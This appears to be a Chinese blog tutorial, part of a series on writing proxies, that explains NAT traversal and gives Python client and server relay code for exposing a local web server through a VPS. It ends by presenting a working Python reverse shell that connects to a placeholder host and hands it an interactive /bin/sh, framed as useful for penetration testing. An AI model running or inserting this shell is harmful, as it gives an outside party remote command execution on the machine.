由浅入深写代理(10)-内网穿透

780 阅读3分钟
原文链接: zhuanlan.zhihu.com

本篇主要介绍代理的一个常用的功能:内网穿透

很多人经常会有这么一个需求,需要将本地开发的 web 项目给外网的人看下,再搭一遍到 vps 太麻烦,于是就有借助拥有公网 ip 的主机来中转。

有专门的软件做这件事,如 ngrok, frp。

下面介绍下原理

由于内网的机器有 NAT 或 防火墙什么的,外网 vps 是无法会直接连接的,所以想要通过 vps 来中转就需要内网先连接 vps,然后 vps 通过连接的套接字来转发数据。

贴下代码

client_proxy

import socket
import select
def send_data(sock, data):
    print(data)
    bytes_sent = 0
    while True:
        r = sock.send(data[bytes_sent:])
        if r < 0:
            return r
        bytes_sent += r
        if bytes_sent == len(data):
            return bytes_sent

def handle_tcp(sock, remote):
    # 处理 client socket 和 remote socket 的数据流
    try:
        fdset = [sock, remote]
        while True:
            # 用 IO 多路复用 select 监听套接字是否有数据流
            r, w, e = select.select(fdset, [], [])
            if sock in r:
                data = sock.recv(4096)
                if len(data) <= 0:
                    break
                result = send_data(remote, data)
                if result < len(data):
                    raise Exception('failed to send all data')

            if remote in r:
                data = remote.recv(4096)
                if len(data) <= 0:
                    break
                result = send_data(sock, data)
                if result < len(data):
                    raise Exception('failed to send all data')
    except Exception as e:
        raise(e)
    finally:
        sock.close()
        remote.close()

while True:
    s_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s_conn.connect(("xx.xx.xx.xx", 2333))

    client_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client_conn.connect(('127.0.0.1', 8000))

    handle_tcp(s_conn, client_conn)

server_proxy

import threading
import socket
import select

# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s1.bind(('', 2333))
# 监听TCP传入连接
s1.listen(5)

# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s2.bind(('', 8000))
# 监听TCP传入连接
s2.listen(5)

def send_data(sock, data):
    print(data)
    bytes_sent = 0
    while True:
        r = sock.send(data[bytes_sent:])
        if r < 0:
            return r
        bytes_sent += r
        if bytes_sent == len(data):
            return bytes_sent

def handle_tcp(sock, remote):
    # 处理 client socket 和 remote socket 的数据流
    try:
        fdset = [sock, remote]
        while True:
            # 用 IO 多路复用 select 监听套接字是否有数据流
            r, w, e = select.select(fdset, [], [])
            if sock in r:
                data = sock.recv(4096)
                if len(data) <= 0:
                    break
                result = send_data(remote, data)
                if result < len(data):
                    raise Exception('failed to send all data')

            if remote in r:
                data = remote.recv(4096)
                if len(data) <= 0:
                    break
                result = send_data(sock, data)
                if result < len(data):
                    raise Exception('failed to send all data')
    except Exception as e:
        raise(e)
    finally:
        sock.close()
        remote.close()


while True:
    con1, addr1 = s1.accept()
    print("new connection from %s:%s" % addr1)
    con2, addr2 = s2.accept()
    print("new connection from %s:%s" % addr2)
    t = threading.Thread(target=handle_tcp, args=(con1, con2))
    t.start()
  1. 假设我们需要共享的 web 是 python 的 simple http_server, 首先执行 python -m SimpleHTTPServer, 这样本地会绑定 8000 端口
  2. 在自己的 vps 上运行 python3 reverse_server.py
  3. 在本地运行 python3 reverse_client_proxy.py
  4. 接下来我们直接在外网访问 vps 的地址: xx.xx.xx.xx:8000 就可以发现能够转发内网的数据了。

github 地址: github.com/facert/socke

github.com/facert/socke

一般内网穿透在网络安全人员做内网渗透测试的时候比较有用,反弹一个 shell,就可以任意执行命令。

这里分享一个最基本的 python 反弹 shell 脚本

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);